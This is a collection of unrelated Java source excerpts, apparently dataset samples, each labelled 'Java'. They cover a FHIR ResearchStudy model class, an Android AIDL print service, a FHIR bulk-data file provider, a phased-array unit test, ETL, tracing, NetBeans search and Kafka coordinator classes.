case -991726143: /*period*/ return new String[] {"Period"};
case -1998892262: /*sponsor*/ return new String[] {"Reference"};
case 1437117175: /*principalInvestigator*/ return new String[] {"Reference"};
case 3530567: /*site*/ return new String[] {"Reference"};
case 1181369065: /*reasonStopped*/ return new String[] {"CodeableConcept"};
case 3387378: /*note*/ return new String[] {"Annotation"};
case 96860: /*arm*/ return new String[] {};
default: return super.getTypesForProperty(hash, name);
}
}
@Override
public Base addChild(String name) throws FHIRException {
if (name.equals("identifier")) {
return addIdentifier();
}
else if (name.equals("title")) {
throw new FHIRException("Cannot call addChild on a primitive type ResearchStudy.title");
}
else if (name.equals("protocol")) {
return addProtocol();
}
else if (name.equals("partOf")) {
return addPartOf();
}
else if (name.equals("status")) {
throw new FHIRException("Cannot call addChild on a primitive type ResearchStudy.status");
}
else if (name.equals("category")) {
return addCategory();
}
else if (name.equals("focus")) {
return addFocus();
}
else if (name.equals("contact")) {
return addContact();
}
else if (name.equals("relatedArtifact")) {
return addRelatedArtifact();
}
else if (name.equals("keyword")) {
return addKeyword();
}
else if (name.equals("jurisdiction")) {
return addJurisdiction();
}
else if (name.equals("description")) {
throw new FHIRException("Cannot call addChild on a primitive type ResearchStudy.description");
}
else if (name.equals("enrollment")) {
return addEnrollment();
}
else if (name.equals("period")) {
this.period = new Period();
return this.period;
}
else if (name.equals("sponsor")) {
this.sponsor = new Reference();
return this.sponsor;
}
else if (name.equals("principalInvestigator")) {
this.principalInvestigator = new Reference();
return this.principalInvestigator;
}
else if (name.equals("site")) {
return addSite();
}
else if (name.equals("reasonStopped")) {
this.reasonStopped = new CodeableConcept();
return this.reasonStopped;
}
else if (name.equals("note")) {
return addNote();
}
else if (name.equals("arm")) {
return addArm();
}
else
return super.addChild(name);
}
public String fhirType() {
return "ResearchStudy";
}
public ResearchStudy copy() {
ResearchStudy dst = new ResearchStudy();
copyValues(dst);
if (identifier != null) {
dst.identifier = new ArrayList<Identifier>();
for (Identifier i : identifier)
dst.identifier.add(i.copy());
};
dst.title = title == null ? null : title.copy();
if (protocol != null) {
dst.protocol = new ArrayList<Reference>();
for (Reference i : protocol)
dst.protocol.add(i.copy());
};
if (partOf != null) {
dst.partOf = new ArrayList<Reference>();
for (Reference i : partOf)
dst.partOf.add(i.copy());
};
dst.status = status == null ? null : status.copy();
if (category != null) {
dst.category = new ArrayList<CodeableConcept>();
for (CodeableConcept i : category)
dst.category.add(i.copy());
};
if (focus != null) {
dst.focus = new ArrayList<CodeableConcept>();
for (CodeableConcept i : focus)
dst.focus.add(i.copy());
};
if (contact != null) {
dst.contact = new ArrayList<ContactDetail>();
for (ContactDetail i : contact)
dst.contact.add(i.copy());
};
if (relatedArtifact != null) {
dst.relatedArtifact = new ArrayList<RelatedArtifact>();
for (RelatedArtifact i : relatedArtifact)
dst.relatedArtifact.add(i.copy());
};
if (keyword != null) {
dst.keyword = new ArrayList<CodeableConcept>();
for (CodeableConcept i : keyword)
dst.keyword.add(i.copy());
};
if (jurisdiction != null) {
dst.jurisdiction = new ArrayList<CodeableConcept>();
for (CodeableConcept i : jurisdiction)
dst.jurisdiction.add(i.copy());
};
dst.description = description == null ? null : description.copy();
if (enrollment != null) {
dst.enrollment = new ArrayList<Reference>();
for (Reference i : enrollment)
dst.enrollment.add(i.copy());
};
dst.period = period == null ? null : period.copy();
dst.sponsor = sponsor == null ? null : sponsor.copy();
dst.principalInvestigator = principalInvestigator == null ? null : principalInvestigator.copy();
if (site != null) {
dst.site = new ArrayList<Reference>();
for (Reference i : site)
dst.site.add(i.copy());
};
dst.reasonStopped = reasonStopped == null ? null : reasonStopped.copy();
if (note != null) {
dst.note = new ArrayList<Annotation>();
for (Annotation i : note)
dst.note.add(i.copy());
};
if (arm != null) {
dst.arm = new ArrayList<ResearchStudyArmComponent>();
for (ResearchStudyArmComponent i : arm)
dst.arm.add(i.copy());
};
return dst;
}
protected ResearchStudy typedCopy() {
return copy();
}
@Override
public boolean equalsDeep(Base other) {
if (!super.equalsDeep(other))
return false;
if (!(other instanceof ResearchStudy))
return false;
ResearchStudy o = (ResearchStudy) other;
return compareDeep(identifier, o.identifier, true) && compareDeep(title, o.title, true) && compareDeep(protocol, o.protocol, true)
&& compareDeep(partOf, o.partOf, true) && compareDeep(status, o.status, true) && compareDeep(category, o.category, true)
&& compareDeep(focus, o.focus, true) && compareDeep(contact, o.contact, true) && compareDeep(relatedArtifact, o.relatedArtifact, true)
&& compareDeep(keyword, o.keyword, true) && compareDeep(jurisdiction, o.jurisdiction, true) && compareDeep(description, o.description, true)
&& compareDeep(enrollment, o.enrollment, true) && compareDeep(period, o.period, true) && compareDeep(sponsor, o.sponsor, true)
&& compareDeep(principalInvestigator, o.principalInvestigator, true) && compareDeep(site, o.site, true)
&& compareDeep(reasonStopped, o.reasonStopped, true) && compareDeep(note, o.note, true) && compareDeep(arm, o.arm, true)
;
}
@Override
public boolean equalsShallow(Base other) {
if (!super.equalsShallow(other))
return false;
if (!(other instanceof ResearchStudy))
return false;
ResearchStudy o = (ResearchStudy) other;
return compareValues(title, o.title, true) && compareValues(status, o.status, true) && compareValues(description, o.description, true)
;
}
public boolean isEmpty() {
return super.isEmpty() && ca.uhn.fhir.util.ElementUtil.isEmpty(identifier, title, protocol
, partOf, status, category, focus, contact, relatedArtifact, keyword, jurisdiction
, description, enrollment, period, sponsor, principalInvestigator, site, reasonStopped
, note, arm);
}
@Override
public ResourceType getResourceType() {
return ResourceType.ResearchStudy;
}
/**
* Search parameter: <b>date</b>
* <p>
* Description: <b>When the study began and ended</b><br>
* Type: <b>date</b><br>
* Path: <b>ResearchStudy.period</b><br>
* </p>
*/
@SearchParamDefinition(name="date", path="ResearchStudy.period", description="When the study began and ended", type="date" )
public static final String SP_DATE = "date";
/**
* <b>Fluent Client</b> search parameter constant for <b>date</b>
* <p>
* Description: <b>When the study began and ended</b><br>
* Type: <b>date</b><br>
* Path: <b>ResearchStudy.period</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.DateClientParam DATE = new ca.uhn.fhir.rest.gclient.DateClientParam(SP_DATE);
/**
* Search parameter: <b>identifier</b>
* <p>
* Description: <b>Business Identifier for study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.identifier</b><br>
* </p>
*/
@SearchParamDefinition(name="identifier", path="ResearchStudy.identifier", description="Business Identifier for study", type="token" )
public static final String SP_IDENTIFIER = "identifier";
/**
* <b>Fluent Client</b> search parameter constant for <b>identifier</b>
* <p>
* Description: <b>Business Identifier for study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.identifier</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.TokenClientParam IDENTIFIER = new ca.uhn.fhir.rest.gclient.TokenClientParam(SP_IDENTIFIER);
/**
* Search parameter: <b>partof</b>
* <p>
* Description: <b>Part of larger study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.partOf</b><br>
* </p>
*/
@SearchParamDefinition(name="partof", path="ResearchStudy.partOf", description="Part of larger study", type="reference", target={ResearchStudy.class } )
public static final String SP_PARTOF = "partof";
/**
* <b>Fluent Client</b> search parameter constant for <b>partof</b>
* <p>
* Description: <b>Part of larger study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.partOf</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.ReferenceClientParam PARTOF = new ca.uhn.fhir.rest.gclient.ReferenceClientParam(SP_PARTOF);
/**
* Constant for fluent queries to be used to add include statements. Specifies
* the path value of "<b>ResearchStudy:partof</b>".
*/
public static final ca.uhn.fhir.model.api.Include INCLUDE_PARTOF = new ca.uhn.fhir.model.api.Include("ResearchStudy:partof").toLocked();
/**
* Search parameter: <b>sponsor</b>
* <p>
* Description: <b>Organization responsible for the study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.sponsor</b><br>
* </p>
*/
@SearchParamDefinition(name="sponsor", path="ResearchStudy.sponsor", description="Organization responsible for the study", type="reference", target={Organization.class } )
public static final String SP_SPONSOR = "sponsor";
/**
* <b>Fluent Client</b> search parameter constant for <b>sponsor</b>
* <p>
* Description: <b>Organization responsible for the study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.sponsor</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.ReferenceClientParam SPONSOR = new ca.uhn.fhir.rest.gclient.ReferenceClientParam(SP_SPONSOR);
/**
* Constant for fluent queries to be used to add include statements. Specifies
* the path value of "<b>ResearchStudy:sponsor</b>".
*/
public static final ca.uhn.fhir.model.api.Include INCLUDE_SPONSOR = new ca.uhn.fhir.model.api.Include("ResearchStudy:sponsor").toLocked();
/**
* Search parameter: <b>jurisdiction</b>
* <p>
* Description: <b>Geographic region(s) for study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.jurisdiction</b><br>
* </p>
*/
@SearchParamDefinition(name="jurisdiction", path="ResearchStudy.jurisdiction", description="Geographic region(s) for study", type="token" )
public static final String SP_JURISDICTION = "jurisdiction";
/**
* <b>Fluent Client</b> search parameter constant for <b>jurisdiction</b>
* <p>
* Description: <b>Geographic region(s) for study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.jurisdiction</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.TokenClientParam JURISDICTION = new ca.uhn.fhir.rest.gclient.TokenClientParam(SP_JURISDICTION);
/**
* Search parameter: <b>focus</b>
* <p>
* Description: <b>Drugs, devices, conditions, etc. under study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.focus</b><br>
* </p>
*/
@SearchParamDefinition(name="focus", path="ResearchStudy.focus", description="Drugs, devices, conditions, etc. under study", type="token" )
public static final String SP_FOCUS = "focus";
/**
* <b>Fluent Client</b> search parameter constant for <b>focus</b>
* <p>
* Description: <b>Drugs, devices, conditions, etc. under study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.focus</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.TokenClientParam FOCUS = new ca.uhn.fhir.rest.gclient.TokenClientParam(SP_FOCUS);
/**
* Search parameter: <b>principalinvestigator</b>
* <p>
* Description: <b>The individual responsible for the study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.principalInvestigator</b><br>
* </p>
*/
@SearchParamDefinition(name="principalinvestigator", path="ResearchStudy.principalInvestigator", description="The individual responsible for the study", type="reference", providesMembershipIn={ @ca.uhn.fhir.model.api.annotation.Compartment(name="Practitioner") }, target={Practitioner.class } )
public static final String SP_PRINCIPALINVESTIGATOR = "principalinvestigator";
/**
* <b>Fluent Client</b> search parameter constant for <b>principalinvestigator</b>
* <p>
* Description: <b>The individual responsible for the study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.principalInvestigator</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.ReferenceClientParam PRINCIPALINVESTIGATOR = new ca.uhn.fhir.rest.gclient.ReferenceClientParam(SP_PRINCIPALINVESTIGATOR);
/**
* Constant for fluent queries to be used to add include statements. Specifies
* the path value of "<b>ResearchStudy:principalinvestigator</b>".
*/
public static final ca.uhn.fhir.model.api.Include INCLUDE_PRINCIPALINVESTIGATOR = new ca.uhn.fhir.model.api.Include("ResearchStudy:principalinvestigator").toLocked();
/**
* Search parameter: <b>title</b>
* <p>
* Description: <b>Name for this study</b><br>
* Type: <b>string</b><br>
* Path: <b>ResearchStudy.title</b><br>
* </p>
*/
@SearchParamDefinition(name="title", path="ResearchStudy.title", description="Name for this study", type="string" )
public static final String SP_TITLE = "title";
/**
* <b>Fluent Client</b> search parameter constant for <b>title</b>
* <p>
* Description: <b>Name for this study</b><br>
* Type: <b>string</b><br>
* Path: <b>ResearchStudy.title</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.StringClientParam TITLE = new ca.uhn.fhir.rest.gclient.StringClientParam(SP_TITLE);
/**
* Search parameter: <b>protocol</b>
* <p>
* Description: <b>Steps followed in executing study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.protocol</b><br>
* </p>
*/
@SearchParamDefinition(name="protocol", path="ResearchStudy.protocol", description="Steps followed in executing study", type="reference", target={PlanDefinition.class } )
public static final String SP_PROTOCOL = "protocol";
/**
* <b>Fluent Client</b> search parameter constant for <b>protocol</b>
* <p>
* Description: <b>Steps followed in executing study</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.protocol</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.ReferenceClientParam PROTOCOL = new ca.uhn.fhir.rest.gclient.ReferenceClientParam(SP_PROTOCOL);
/**
* Constant for fluent queries to be used to add include statements. Specifies
* the path value of "<b>ResearchStudy:protocol</b>".
*/
public static final ca.uhn.fhir.model.api.Include INCLUDE_PROTOCOL = new ca.uhn.fhir.model.api.Include("ResearchStudy:protocol").toLocked();
/**
* Search parameter: <b>site</b>
* <p>
* Description: <b>Location involved in study execution</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.site</b><br>
* </p>
*/
@SearchParamDefinition(name="site", path="ResearchStudy.site", description="Location involved in study execution", type="reference", target={Location.class } )
public static final String SP_SITE = "site";
/**
* <b>Fluent Client</b> search parameter constant for <b>site</b>
* <p>
* Description: <b>Location involved in study execution</b><br>
* Type: <b>reference</b><br>
* Path: <b>ResearchStudy.site</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.ReferenceClientParam SITE = new ca.uhn.fhir.rest.gclient.ReferenceClientParam(SP_SITE);
/**
* Constant for fluent queries to be used to add include statements. Specifies
* the path value of "<b>ResearchStudy:site</b>".
*/
public static final ca.uhn.fhir.model.api.Include INCLUDE_SITE = new ca.uhn.fhir.model.api.Include("ResearchStudy:site").toLocked();
/**
* Search parameter: <b>category</b>
* <p>
* Description: <b>Classifications for the study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.category</b><br>
* </p>
*/
@SearchParamDefinition(name="category", path="ResearchStudy.category", description="Classifications for the study", type="token" )
public static final String SP_CATEGORY = "category";
/**
* <b>Fluent Client</b> search parameter constant for <b>category</b>
* <p>
* Description: <b>Classifications for the study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.category</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.TokenClientParam CATEGORY = new ca.uhn.fhir.rest.gclient.TokenClientParam(SP_CATEGORY);
/**
* Search parameter: <b>keyword</b>
* <p>
* Description: <b>Used to search for the study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.keyword</b><br>
* </p>
*/
@SearchParamDefinition(name="keyword", path="ResearchStudy.keyword", description="Used to search for the study", type="token" )
public static final String SP_KEYWORD = "keyword";
/**
* <b>Fluent Client</b> search parameter constant for <b>keyword</b>
* <p>
* Description: <b>Used to search for the study</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.keyword</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.TokenClientParam KEYWORD = new ca.uhn.fhir.rest.gclient.TokenClientParam(SP_KEYWORD);
/**
* Search parameter: <b>status</b>
* <p>
* Description: <b>draft | in-progress | suspended | stopped | completed | entered-in-error</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.status</b><br>
* </p>
*/
@SearchParamDefinition(name="status", path="ResearchStudy.status", description="draft | in-progress | suspended | stopped | completed | entered-in-error", type="token" )
public static final String SP_STATUS = "status";
/**
* <b>Fluent Client</b> search parameter constant for <b>status</b>
* <p>
* Description: <b>draft | in-progress | suspended | stopped | completed | entered-in-error</b><br>
* Type: <b>token</b><br>
* Path: <b>ResearchStudy.status</b><br>
* </p>
*/
public static final ca.uhn.fhir.rest.gclient.TokenClientParam STATUS = new ca.uhn.fhir.rest.gclient.TokenClientParam(SP_STATUS);
}
|
Java
|
public class AidlService extends Service {
private static final String TAG = "AidlService";
private Handler mHandler = new Handler();
@Nullable
@Override
public IBinder onBind(Intent intent) {
return new PrintInterface.Stub(){
@Override
public void print(String msg) throws RemoteException {
AidlService.this.print(msg);
}
};
}
public void print(String msg) {
try {
Log.e(TAG, "Preparing printer...");
Thread.sleep(1000);
Log.e(TAG, "Connecting printer...");
Thread.sleep(1000);
Log.e(TAG, "Printing.... " + msg);
Thread.sleep(1000);
Log.e(TAG, "Done");
} catch (InterruptedException e) {
}
mHandler.post(new Runnable() {
@Override
public void run() {
Toast.makeText(AidlService.this, "via AIDL Printing is done.", Toast.LENGTH_SHORT).show();
}
});
}
}
|
Java
|
public class FileProvider implements Provider {
private static final Logger logger = Logger.getLogger(FileProvider.class.getName());
private String source = null;
private long parseFailures = 0l;
@SuppressWarnings("unused")
private ImportTransientUserData transientUserData = null;
private List<Resource> resources = new ArrayList<>();
private String fhirResourceType = null;
private String fileName = null;
private String exportPathPrefix = null;
private ExportTransientUserData chunkData = null;
private OutputStream out = null;
private BufferedReader br = null;
private ConfigurationAdapter configuration = ConfigurationFactory.getInstance();
public FileProvider(String source) throws Exception {
this.source = source;
}
private String getFilePath(String workItem) {
return configuration.getBaseFileLocation(source) + "/" + workItem;
}
@Override
public long getSize(String workItem) throws FHIRException {
// This may be error prone as the file itself may be compressed or on a compressed volume.
try {
return Files.size(new File(getFilePath(workItem)).toPath());
} catch (IOException e) {
throw new FHIRException("Files size is not computable '" + workItem + "'", e);
}
}
@Override
public void readResources(long numOfLinesToSkip, String workItem) throws FHIRException {
resources = new ArrayList<>();
try {
long line = 0;
try {
if (br == null) {
br = Files.newBufferedReader(Paths.get(getFilePath(workItem)));
}
// Imports must only skip lines if the size is higher, not equal to
// otherwise we start skipping the last line to skip.
for (int i = 0; i < numOfLinesToSkip; i++) {
line++;
br.readLine(); // We know the file has at least this number.
}
String resourceStr = br.readLine();
int chunkRead = 0;
int maxRead = configuration.getImportNumberOfFhirResourcesPerRead(null);
while (resourceStr != null && chunkRead <= maxRead) {
line++;
chunkRead++;
try {
resources.add(FHIRParser.parser(Format.JSON).parse(new StringReader(resourceStr)));
} catch (FHIRParserException e) {
// Log and skip the invalid FHIR resource.
parseFailures++;
logger.log(Level.INFO, "readResources: " + "Failed to parse line " + line + " of [" + source + "].", e);
}
resourceStr = br.readLine();
}
} finally {
if (br != null) {
br.close();
}
}
} catch (Exception e) {
throw new FHIRException("Unable to read from Local File", e);
}
}
@Override
public List<Resource> getResources() throws FHIRException {
return resources;
}
@Override
public long getNumberOfParseFailures() throws FHIRException {
return parseFailures;
}
@Override
public void registerTransient(ImportTransientUserData transientUserData) {
this.transientUserData = transientUserData;
}
@Override
public long getNumberOfLoaded() throws FHIRException {
return this.resources.size();
}
@Override
public void registerTransient(long executionId, ExportTransientUserData transientUserData, String exportPathPrefix, String fhirResourceType) throws Exception {
if (transientUserData == null) {
String msg = "registerTransient: chunkData is null, this should never happen!";
logger.warning(msg);
throw new Exception(msg);
}
this.chunkData = transientUserData;
this.fhirResourceType = fhirResourceType;
this.exportPathPrefix = exportPathPrefix;
}
@Override
public void close() throws Exception {
if (out != null) {
out.close();
}
}
@Override
public void writeResources(String mediaType, List<ReadResultDTO> dtos) throws Exception {
if (!FHIRMediaType.APPLICATION_NDJSON.equals(mediaType)) {
throw new UnsupportedOperationException("FileProvider does not support writing files of type " + mediaType);
}
if (chunkData.getBufferStream().size() == 0) {
// Early exit condition: nothing to write so just set the latWrittenPageNum and return
chunkData.setLastWrittenPageNum(chunkData.getPageNum());
return;
}
if (out == null) {
this.fileName = exportPathPrefix + File.separator + fhirResourceType + "_" + chunkData.getUploadCount() + ".ndjson";
String base = configuration.getBaseFileLocation(source);
String folder = base + File.separator + exportPathPrefix + File.separator;
Path folderPath = Paths.get(folder);
try {
Files.createDirectories(folderPath);
} catch(IOException ioe) {
if (!Files.exists(folderPath)) {
throw ioe;
}
}
String fn = base + File.separator + fileName;
Path p1 = Paths.get(fn);
try {
// This is a trap. Be sure to mark CREATE and APPEND.
out = Files.newOutputStream(p1, StandardOpenOption.CREATE, StandardOpenOption.APPEND);
} catch (IOException e) {
logger.warning("Error creating a file '" + fn + "'");
throw e;
}
}
chunkData.getBufferStream().writeTo(out);
chunkData.getBufferStream().reset();
if (chunkData.isFinishCurrentUpload()) {
// Partition status for the exported resources, e.g, Patient[1000,1000,200]
BulkDataUtils.updateSummary(fhirResourceType, chunkData);
out.close();
out = null;
chunkData.setPartNum(1);
chunkData.setCurrentUploadResourceNum(0);
chunkData.setCurrentUploadSize(0);
chunkData.setFinishCurrentUpload(false);
chunkData.setUploadCount(chunkData.getUploadCount() + 1);
} else {
chunkData.setPartNum(chunkData.getPartNum() + 1);
}
chunkData.setLastWrittenPageNum(chunkData.getPageNum());
}
@Override
public void pushEndOfJobOperationOutcomes(ByteArrayOutputStream baos, String folder, String fileName) throws FHIRException {
String base = configuration.getBaseFileLocation(source);
if (baos.size() > 0) {
Path folderPath = Paths.get(base + File.separator + folder);
try {
Files.createDirectories(folderPath);
} catch (IOException ioe) {
if (!Files.exists(folderPath)) {
throw new FHIRException(
"Error accessing operationoutcome folder during $import '" + folderPath + "'");
}
}
String fn = base + File.separator + folder + File.separator + fileName;
Path p1 = Paths.get(fn);
try {
// Be sure to mark CREATE and APPEND.
out = Files.newOutputStream(p1, StandardOpenOption.CREATE, StandardOpenOption.APPEND);
baos.writeTo(out);
baos.reset();
out.close();
} catch (IOException e) {
logger.warning("Error creating a file '" + fn + "'");
throw new FHIRException("Error creating a file operationoutcome during $import '" + fn + "'");
}
}
}
}
|
Java
|
@SuppressWarnings("javadoc")
public class PhasedArrayUtilTest {
private static final double THRESHOLD = 0.0000000000001;
@Test
public void calculateWaveVectorTest() {
double freq = 28 * Math.pow(10, 9);
double lambda = Constants.VACCUM_SPEED_OF_LIGHT / freq;
Vector3D k = PhasedArrayUtil.calculateWaveVector(lambda, ThetaPhi.fromDegrees(90, 0));
Assert.assertTrue(Math.abs(k.getX() - 2 * Math.PI / lambda) < THRESHOLD);
Assert.assertTrue(Math.abs(k.getY() - 0) < THRESHOLD);
Assert.assertTrue(Math.abs(k.getZ() - 0) < THRESHOLD);
}
@Test
public void calculateSteeringVectorTest() {
double freq = 28 * Math.pow(10, 9);
double lambda = Constants.VACCUM_SPEED_OF_LIGHT / freq;
Vector3D k = PhasedArrayUtil.calculateWaveVector(lambda, ThetaPhi.fromDegrees(0, 0));
Complex vk = PhasedArrayUtil.calculateSteeringVector(k, new Vector3D(0, 0, 0));
Complex expected = Complex.ONE;
Assert.assertTrue(Math.abs(vk.getReal() - expected.getReal()) < THRESHOLD);
Assert.assertTrue(Math.abs(vk.getImaginary() - expected.getImaginary()) < THRESHOLD);
}
}
|
Java
|
public abstract class ExtractEvent extends ETLEvent {
protected final Extractor extractor;
protected final ExtractContext extractContext;
public ExtractEvent(Extractor extractor, ExtractContext context, Object source) {
super(source);
this.extractor = extractor;
this.extractContext = context;
}
/**
* Returns the {@link Extractor} associated with this event.
*
* @return
*/
public Extractor getExtractor() {
return extractor;
}
/**
* Returns the {@link ExtractContext} of this execution.
*
* @return
*/
public ExtractContext getExtractContext() {
return extractContext;
}
}
|
Java
|
public final class Expectations {
private static final Object ANY_ANNOTATION_VALUE = new Object();
private Expectations() {}
public static Object anyAnnotationValue() {
return ANY_ANNOTATION_VALUE;
}
public static ExpectedTrace root(String serviceType, Member method, String rpc, String endPoint, String remoteAddr, ExpectedAnnotation... annotations) {
return new ExpectedTrace(TraceType.ROOT, serviceType, method, null, rpc, endPoint, remoteAddr, null, annotations, null);
}
public static ExpectedTrace root(String serviceType, String methodDescriptor, String rpc, String endPoint, String remoteAddr, ExpectedAnnotation... annotations) {
return new ExpectedTrace(TraceType.ROOT, serviceType, null, methodDescriptor, rpc, endPoint, remoteAddr, null, annotations, null);
}
public static ExpectedTrace event(String serviceType, Member method, String rpc, String endPoint, String destinationId, ExpectedAnnotation... annotations) {
return new ExpectedTrace(TraceType.EVENT, serviceType, method, null, rpc, endPoint, null, destinationId, annotations, null);
}
public static ExpectedTrace event(String serviceType, Member method, ExpectedAnnotation... annotations) {
return new ExpectedTrace(TraceType.EVENT, serviceType, method, null, null, null, null, null, annotations, null);
}
public static ExpectedTrace event(String serviceType, String methodDescriptor, ExpectedAnnotation... annotations) {
return new ExpectedTrace(TraceType.EVENT, serviceType, null, methodDescriptor, null, null, null, null, annotations, null);
}
public static ExpectedTrace event(String serviceType, String methodDescriptor, String rpc, String endPoint, String destinationId, ExpectedAnnotation... annotations) {
return new ExpectedTrace(TraceType.EVENT, serviceType, null, methodDescriptor, rpc, endPoint, null, destinationId, annotations, null);
}
public static ExpectedTrace async(ExpectedTrace initiator, ExpectedTrace... asyncTraces) {
return new ExpectedTrace(initiator.getType(), initiator.getServiceType(), initiator.getMethod(), initiator.getMethodSignature(), initiator.getRpc(), initiator.getEndPoint(), initiator.getRemoteAddr(), initiator.getDestinationId(), initiator.getAnnotations(), asyncTraces);
}
public static ExpectedAnnotation[] annotations(ExpectedAnnotation... annotations) {
return annotations;
}
public static ExpectedAnnotation annotation(String annotationKeyName, Object value) {
return new ExpectedAnnotation(annotationKeyName, value);
}
public static ExpectedAnnotation[] args(Object... args) {
ExpectedAnnotation[] annotations = new ExpectedAnnotation[args.length];
for (int i = 0; i < args.length; i++) {
annotations[i] = annotation(AnnotationKeyUtils.getArgs(i).getName(), args[i]);
}
return annotations;
}
public static ExpectedAnnotation[] cachedArgs(Object... args) {
ExpectedAnnotation[] annotations = new ExpectedAnnotation[args.length];
for (int i = 0; i < args.length; i++) {
annotations[i] = annotation(AnnotationKeyUtils.getCachedArgs(i).getName(), args[i]);
}
return annotations;
}
public static ExpectedAnnotation sql(String query, String output, Object... bindValues) {
return new ExpectedSql(query, output, bindValues);
}
}
|
Java
|
public abstract class SearchFilter {
/**
* Result of filtering a folder.
*/
public static enum FolderResult {
/**
* Constant representing answer "do not traverse the folder".
*/
DO_NOT_TRAVERSE,
/**
* Constant representing answer "traverse the folder".
*/
TRAVERSE,
/**
* Constant representing answer "traverse the folder and all its
* direct and indirect children (both files and subfolders)".
*/
TRAVERSE_ALL_SUBFOLDERS
}
/**
* Answers a question whether a given file should be searched. The file must
* be a plain file (not folder).
*
* @return
* <code>true</code> if the given file should be searched;
* <code>false</code> if not
* @exception java.lang.IllegalArgumentException if the passed
* <code>FileObject</code> is a folder
*/
public abstract boolean searchFile(@NonNull FileObject file)
throws IllegalArgumentException;
/**
* Answers a question whether a given URI should be searched. The URI must
* stand for a plain file (not folder).
*
* @return
* <code>true</code> if the given file should be searched;
* <code>false</code> if not
* @exception java.lang.IllegalArgumentException if the passed
* <code>URI</code> is a folder
*
* @since org.netbeans.api.search/1.4
*/
public abstract boolean searchFile(@NonNull URI fileUri);
/**
* Answers a questions whether a given folder should be traversed (its
* contents searched). The passed argument must be a folder.
*
* @return One of constants of {@link FolderResult}. If
* <code>TRAVERSE_ALL_SUBFOLDERS</code> is returned, this filter will not be
* applied on the folder's children (both direct and indirect, both files
* and folders)
* @exception java.lang.IllegalArgumentException if the passed
* <code>FileObject</code> is not a folder
*/
public abstract @NonNull FolderResult traverseFolder(
@NonNull FileObject folder) throws IllegalArgumentException;
/**
* Answers a questions whether a given URI should be traversed (its
* contents searched). The passed URI must stand for a folder.
*
* @return One of constants of {@link FolderResult}. If
* <code>TRAVERSE_ALL_SUBFOLDERS</code> is returned, this filter will not be
* applied on the folder's children (both direct and indirect, both files
* and folders)
* @exception java.lang.IllegalArgumentException if the passed
* <code>URI</code> is not a folder
*
* @since org.netbeans.api.search/1.4
*/
public abstract @NonNull FolderResult traverseFolder(
@NonNull URI folderUri) throws IllegalArgumentException;
}
|
Java
|
public final class WorkerCoordinator extends AbstractCoordinator implements Closeable {
private static final Logger log = LoggerFactory.getLogger(WorkerCoordinator.class);
// Currently Copycat doesn't support multiple task assignment strategies, so we currently just fill in a default value
public static final String DEFAULT_SUBPROTOCOL = "default";
private final KafkaConfigStorage configStorage;
private CopycatProtocol.Assignment assignmentSnapshot;
private final CopycatWorkerCoordinatorMetrics sensors;
private ClusterConfigState configSnapshot;
private final WorkerRebalanceListener listener;
private boolean rejoinRequested;
/**
* Initialize the coordination manager.
*/
public WorkerCoordinator(ConsumerNetworkClient client,
String groupId,
int sessionTimeoutMs,
int heartbeatIntervalMs,
Metrics metrics,
String metricGrpPrefix,
Map<String, String> metricTags,
Time time,
long requestTimeoutMs,
long retryBackoffMs,
KafkaConfigStorage configStorage,
WorkerRebalanceListener listener) {
super(client,
groupId,
sessionTimeoutMs,
heartbeatIntervalMs,
metrics,
metricGrpPrefix,
metricTags,
time,
requestTimeoutMs,
retryBackoffMs);
this.configStorage = configStorage;
this.assignmentSnapshot = null;
this.sensors = new CopycatWorkerCoordinatorMetrics(metrics, metricGrpPrefix, metricTags);
this.listener = listener;
this.rejoinRequested = false;
}
public void requestRejoin() {
rejoinRequested = true;
}
@Override
public String protocolType() {
return "copycat";
}
@Override
public LinkedHashMap<String, ByteBuffer> metadata() {
LinkedHashMap<String, ByteBuffer> metadata = new LinkedHashMap<>();
configSnapshot = configStorage.snapshot();
CopycatProtocol.ConfigState configState = new CopycatProtocol.ConfigState(configSnapshot.offset());
metadata.put(DEFAULT_SUBPROTOCOL, CopycatProtocol.serializeMetadata(configState));
return metadata;
}
@Override
protected void onJoinComplete(int generation, String memberId, String protocol, ByteBuffer memberAssignment) {
assignmentSnapshot = CopycatProtocol.deserializeAssignment(memberAssignment);
// At this point we always consider ourselves to be a member of the cluster, even if there was an assignment
// error (the leader couldn't make the assignment) or we are behind the config and cannot yet work on our assigned
// tasks. It's the responsibility of the code driving this process to decide how to react (e.g. trying to get
// up to date, try to rejoin again, leaving the group and backing off, etc.).
rejoinRequested = false;
listener.onAssigned(assignmentSnapshot);
}
@Override
